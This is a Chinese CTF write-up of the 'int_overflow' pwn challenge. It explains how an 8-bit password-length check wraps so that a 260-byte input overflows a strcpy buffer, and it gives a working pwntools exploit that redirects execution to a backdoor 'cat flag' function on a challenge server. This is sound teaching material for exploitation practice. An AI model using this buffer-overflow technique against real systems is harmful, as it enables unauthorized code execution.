int_overflow

题目描述:菜鸡感觉这题似乎没有办法溢出,真的么?

题目附件: 附件1

 

 

file如下:

 

 32位ELF文件

checksec如下:

 

 IDA反汇编,查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("---------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("---------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 )
  {
    login();
  }
  else
  {
    if ( v4 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}

查看login函数:

char *login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]

  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}

查看check_passwd函数:

char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}

发现程序中存在what_is_this函数:

int what_is_this()
{
  return system("cat flag");
}

存在后门函数,显然目标就是运行what_is_this函数

观察得知check_passwd函数中对于输入密码的长度做了限制,限制其长度在4~8

check_passwd的密码s是login函数传入的buf,而buf读入最大可达到0x199,而check_passwd计算密码长度的变量类型是unsigned __int8,只有1个字节,范围在0~255,存在整数溢出漏洞

因此,合法的密码长度除了4~8,还包括260~264,这样,就存在了缓冲区溢出漏洞

我们这里让payload的长度为260

查看what_is_this函数的地址:

 

 exp如下:

from pwn import *

#io = process('./pwn')
io = connect('220.249.52.133', 36003)

what_is_this_address = 0x804868B

payload = b'a'*0x18 + p32(what_is_this_address) + b'a'*0xe8

io.sendlineafter('choice:', '1')
io.sendlineafter('username:', 'username')
io.sendlineafter('passwd:', payload)

io.interactive()

 

posted @ 2020-12-05 11:23  hktk1643  阅读(384)  评论(0编辑  收藏  举报